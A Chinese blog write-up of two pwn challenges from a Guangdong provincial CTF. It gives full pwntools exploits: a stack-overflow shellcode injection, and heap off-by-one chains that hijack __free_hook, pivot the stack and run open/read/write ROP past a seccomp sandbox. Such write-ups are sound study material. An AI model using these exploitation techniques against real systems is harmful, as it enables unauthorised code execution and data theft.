第二届广东省赛

result

1653324365(1)

躺平,悲伤(下次还敢)【还是要努力学啊】啃老。第二届果然比第一届卷死,广东省这次有钱找奇安信了,期待一波线下赛(公费旅游狂喜

链接:https://pan.baidu.com/s/1ew5xGL8bJuMwP2cFdKYABw?pwd=4fef
提取码:4fef
–来自百度网盘超级会员V4的分享

jmp_rsp

1653322679(1)

静态编译,明显的栈溢出,没有输出函数的plt got表常规rop直接pass,因为静态编译可以有很多的gadget,不嫌麻烦可以系统调用

我这里用别的办法几行代码搞定了,毕竟给了RWX段

1653322849(1)

其实没开canary,静态编译自带了栈溢出检测函数罢了,checksec的机制很low只是检测这个函数的存在性不考虑调用。

思路:栈溢出改rsi为rwx段然后控制rip为read写shellcode然后ret到rwx

exp

1
2
3
4
5
6
7
8
9
10
11
12
from pwn import *
r=process('./jmp_rsp')
elf=ELF('./jmp_rsp')
context.log_level='debug'
context.arch='amd64'
rsi=0x0000000000410173
bss=0x6b7000
sh=asm(shellcraft.cat("flag"))#asm(shellcraft.execve("/bin/sh")) getshell is okay too.
pa='a'*0x88+p64(rsi)+p64(bss)+p64(0x449380)+p64(bss)
r.send(pa)
r.send(sh)
r.interactive()

mid_pwn

2.31的堆题,开了白名单沙盒,想用mprotect是不ok的,然后看下漏洞

1653323137(1)

edit的时候off by one的漏洞,大小限制很恶心吧,0x28和0xb0两种,而且他这种堆的机制是靠heap实现的,一句话,“大聪明”才用这种。题目描述远程文件符1-5被占用,所以等下orw,flag的文件描述符是6。

思路

直接off by one 堆叠,打free_hook 然后找到这段gadget

1
mov rbp, qword ptr [rdi + 0x48]; mov rax, qword ptr [rbp + 0x18]; lea r13, [rbp + 0x10]; mov dword ptr [rbp + 0x10], 0; mov rdi, r13; call qword ptr [rax + 0x28]; 

这段gadget不是所有libc版本都有,看运气,最好的通用是打environ泄露栈地址 然后在栈上构造orw

我这里用这个gadget的思路就是,相当于进行一个栈迁移到堆上然后开个足够大的read再去写入orw

打gadget这种要自己看好gadget的汇编来布局,不难的。

两种exp我都摆上

exp1:泄露栈地址

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
from pwn import *
def add(size,content):
r.sendlineafter("?\n",str(1))
r.sendlineafter(": ",str(size))
r.sendafter(".\n",content)

def show(index):
r.sendlineafter("?\n",str(3))
r.sendlineafter(".\n",str(index))

def edit(index,content):
r.sendlineafter("?\n",str(2))
r.sendlineafter(".\n",str(index))
r.sendafter(".\n",content)

def delete(index):
r.sendlineafter("?\n",str(4))
r.sendlineafter(".\n",str(index))


def pwn():
add(0x28,"/home/pwn/flag\x00")
add(0xb0,"/home/pwn/flag\x00")
add(0x28,"/home/pwn/flag\x00")
add(0xb0,"/home/pwn/flag\x00")
for i in range(7):
add(0xb0,"/home/pwn/flag\x00")
for i in range(4,12):
delete(i)
delete(1)
edit(2,'\x00'*0x20+p64(0xf0)+'\xc0')
edit(0,'\x00'*0x20+p64(0xf0)+'\xf0')
delete(3)


for i in range(8):
add(0xb0,"/home/pwn/flag\x00")
show(2)

leak = u64(r.recv(6).ljust(8,'\x00'))
base = leak-0x1ecb80-96
free_hook = base + libc.sym['__free_hook']
environ = base + libc.sym['environ']
rdi = base + 0x0000000000023b72
rsi = base + 0x000000000002604f
rdx = base + 0x0000000000119241
rax = base + 0x0000000000047400
syscall = base + 0x000000047686

add(0xb0,"/home/pwn/flag\x00")
add(0xb0,"/home/pwn/flag\x00")
add(0xb0,"/home/pwn/flag\x00")

delete(11)
delete(13)
delete(2)
show(10)

leak_heap = u64(r.recv(6).ljust(8,'\x00'))


edit(10,p64(environ-0x10)+'\n')
add(0xb0,'\x00'*0xb0)
add(0xb0,'a'*0x10)
show(11)
r.recvuntil('a'*0x10)

stack_addr = u64(r.recv(6).ljust(8,'\x00'))
edit_ret = stack_addr-0x000120

delete(3)
delete(2)
edit(10,p64(edit_ret)+'\n')
add(0xb0,'a'*0x10)

flag_addr = leak_heap - 0x0000c0
the_tmp = leak_heap - 0x000630
attack_rop = p64(rdi) + p64(0)
attack_rop += p64(rsi) + p64(edit_ret+0x58-16)
attack_rop += p64(rdx)+p64(0x400)*2
attack_rop += p64(rax)+p64(0)
attack_rop += p64(syscall)
attack_rop += '\x00'*8+'\x00'*8
add(0xb0,attack_rop)


attack_rop = "/home/pwn/flag".ljust(16,'\x00')+p64(rdi) + p64(edit_ret+0x58-16)+p64(rsi) + p64(0)+p64(rax) + p64(2)+p64(syscall)+'\x00'*8


attack_rop += p64(rdi) + p64(edit_ret+0x58-16)
attack_rop += p64(rsi) + p64(0)
attack_rop += p64(rax) + p64(2)
attack_rop += p64(syscall)
attack_rop += '\x00'*8
for i in range(7,0x10):
attack_rop += p64(rdi) + p64(i)
attack_rop += p64(rsi) + p64(the_tmp)
attack_rop += p64(rdx) + p64(0x100)*2
attack_rop += p64(rax) + p64(0)
attack_rop += p64(syscall)
attack_rop += '\x00'*8

attack_rop += p64(rdi) + p64(1)
attack_rop += p64(rsi) + p64(the_tmp)
attack_rop += p64(rax) + p64(1)
attack_rop += p64(syscall)
r.sendline(attack_rop)
r.interactive()
r=process('./orz')
libc=ELF('libc-2.31.so')
pwn()

exp2:栈迁移

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
import time
from pwn import *

context.arch = 'amd64'
context.log_level = 'debug'

r = lambda : p.recv()
rx = lambda x: p.recv(x)
ru = lambda x: p.recvuntil(x)
rud = lambda x: p.recvuntil(x, drop=True)
s = lambda x: p.send(x)
sl = lambda x: p.sendline(x)
sa = lambda x, y: p.sendafter(x, y)
sla = lambda x, y: p.sendlineafter(x, y)
close = lambda : p.close()
debug = lambda : gdb.attach(p)
shell = lambda : p.interactive()

def menu(idx):
sla('Your choose which one?',str(idx))

def add_s(con):
menu(1)
sla('please input note size :',str(0x28))
sla('please input your note.',con)

def add_b(con):
menu(1)
sla('please input note size :',str(0xb0))
sla('please input your note.',con)

def edit(idx,con):
menu(2)
sla('please input note index.',str(idx))
sla('please input new note.',con)

def free(idx):
menu(4)
sla('please input note index.',str(idx))

def show(idx):
menu(3)
sla('please input note index.',str(idx))

p = process('./orz')
libc = ELF("libc-2.31.so")

gdb.attach(p)
[add_b('a') for i in range(6)]
add_s('a') #6
add_b('a') #7
[free(i) for i in range(6)]
free(7)
[add_s('a') for i in range(6)]
edit(0, 'a'*0x28+'\xc1')
free(1)
add_s('a') #1
show(2)
base = u64(ru('\x7f')[-6:].ljust(8, '\x00'))-libc.sym['__malloc_hook']-0x10-96
f_hook = base+libc.sym['__free_hook']
gadget = base+0x0000000000154d0a
# mov rbp, qword ptr [rdi + 0x48]; mov rax, qword ptr [rbp + 0x18]; lea r13, [rbp + 0x10]; mov dword ptr [rbp + 0x10], 0; mov rdi, r13; call qword ptr [rax + 0x28];
leave = base+0x00000000000578f8
rdi = base+libc.search(asm("pop rdi;ret;")).next()
rsi = base+libc.search(asm("pop rsi;ret;")).next()
rdx = base+0x000000000015f7e6# pop rdx; pop rbx; ret;
rax = base+libc.search(asm("pop rax;ret;")).next()
read = base+libc.sym['read']
rsp = base+0x000000000002f73a # pop rsp; ret;
pp_ret = base+0x0000000000023b70 # pop rsi; pop r15; ret;
popen = base+libc.sym['open']
write = base+libc.sym['write']
syscall = base+0x00000000000630d9# syscall; ret;
gets = base+libc.sym['gets']

add_s('a') #2 7
free(4)
free(7)
show(2)
ru('\n')
heap = u64(rx(6).ljust(8, '\x00'))-0x000180
success(hex(heap))
edit(2, p64(f_hook))
add_s('a')
add_s(p64(gadget)) #free_hook
# gdb.attach(p, 'b *'+str(gadget))

pl = p64(0)*3
pl+= p64(heap+0x18) #rbp
pl+= p64(pp_ret) #rsp ret
pl+=p64(heap)
pl+= p64(heap+0x38) #rax
pl+= p64(rsp)
pl+= p64(heap+0x38+0x30)#rdi+0x48
pl+= p64(0)*3
pl+= p64(leave) #call
pl+= p64(rdi)
pl+= p64(0)
pl+= p64(rsi)
pl+= p64(heap-0x100)
pl+= p64(rax)
pl+= p64(0)
pl+= p64(syscall)
pl+= p64(rsp)
pl+= p64(heap-0x100)
# stack mig
add_b('a') #8
edit(8, pl)
free(6)
raw_input()

pl = p64(rsi)
pl+= p64(heap+0x200)
pl = p64(rdx)
pl+= p64(0x200)
pl+= p64(0)
pl+= p64(read)
# pl+= p64(rsp)
# pl+= p64(heap+0x200-0x20)
#read
sleep(1)
s(pl)
p.interactive()
pl = './flag\x00\x00'
pl+= p64(0)*3
pl+= p64(rdi)
pl+= p64(heap-0x100)
pl+= p64(rsi)
pl+= p64(0)
pl+= p64(rax)
pl+= p64(2)
pl+= p64(syscall)
pl+= p64(rdi)
pl+= p64(3)
pl+= p64(rsi)
pl+= p64(heap-0x100)
pl+= p64(rdx)
pl+= p64(0x50)
pl+= p64(0)
pl+= p64(read)
pl+= p64(rdi)
pl+= p64(1)
pl+= p64(rsi)
pl+= p64(heap-0x100)
pl+= p64(rdx)
pl+= p64(0x50)
pl+= p64(0)
pl+= p64(write)
#orw
# pause()
sl(pl)
# debug()
shell()

  • Copyright: Copyright is owned by the author. For commercial reprints, please contact the author for authorization. For non-commercial reprints, please indicate the source.

扫一扫,分享到微信

微信分享二维码
  • Copyrights © 2015-2022 H.greed
  • Visitors: | Views:

请我喝杯咖啡吧~

支付宝
微信